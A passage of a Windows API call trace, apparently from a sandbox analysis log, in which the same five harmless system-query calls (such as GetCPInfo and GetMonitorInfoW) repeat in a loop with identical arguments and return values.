lpmi=0x18fe38) returned 0 [0124.569] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.569] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.569] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.569] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.569] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.569] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.569] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.569] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.569] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.569] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.569] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.569] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.569] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.569] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.569] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.569] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.569] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.569] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.569] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.569] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.569] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.569] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.570] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.570] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.570] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.570] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.570] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.570] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.570] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.570] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.570] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.570] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.570] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.570] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.570] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.570] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.570] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.570] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.570] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.570] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.570] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.570] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.570] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.570] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.570] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.570] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.570] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.570] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.571] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.571] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.571] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.571] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.571] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.571] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.571] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.571] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.571] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.571] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.571] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.571] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.571] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.571] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.571] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.571] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.571] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.571] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.571] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.571] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.571] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.571] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.571] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.572] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.572] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.572] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.572] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.572] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.572] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.572] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.572] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.572] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.572] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.572] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.572] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.572] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.572] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.572] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.572] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.572] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.572] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.572] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.572] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.573] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.573] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.573] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.573] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.573] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.573] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.573] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.573] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.573] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.573] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.573] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.573] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.573] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.573] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.573] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.573] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.573] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.573] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.573] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.573] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.574] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.574] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.574] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.574] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.574] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.574] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.574] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.574] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.574] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.574] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.574] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.574] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.574] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.574] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.574] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.574] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.574] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.574] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.574] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.575] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.575] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.575] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.575] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.575] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.575] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.575] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.575] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.575] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.575] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.575] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.575] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.575] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.575] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.575] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.575] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.575] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.576] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.576] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.576] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.576] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0) returned 1 [0124.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0124.576] GetThreadSelectorEntry (in: hThread=0x0, dwSelector=0x0, lpSelectorEntry=0x18feb8 | out: lpSelectorEntry=0x18feb8) returned 1 [0124.576] GetCommProperties (in: hFile=0x0, lpCommProp=0x18fdf8 | out: lpCommProp=0x18fdf8) returned 0 [0124.576] GetMonitorInfoW (in: hMonitor=0x0, lpmi=0x18fe38 | out: lpmi=0x18fe38) returned 0 [0124.576] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x18fec4, lpTimeIncrement=0x18feb4, lpTimeAdjustmentDisabled=0x18fec0 | out: lpTimeAdjustment=0x18fec4, 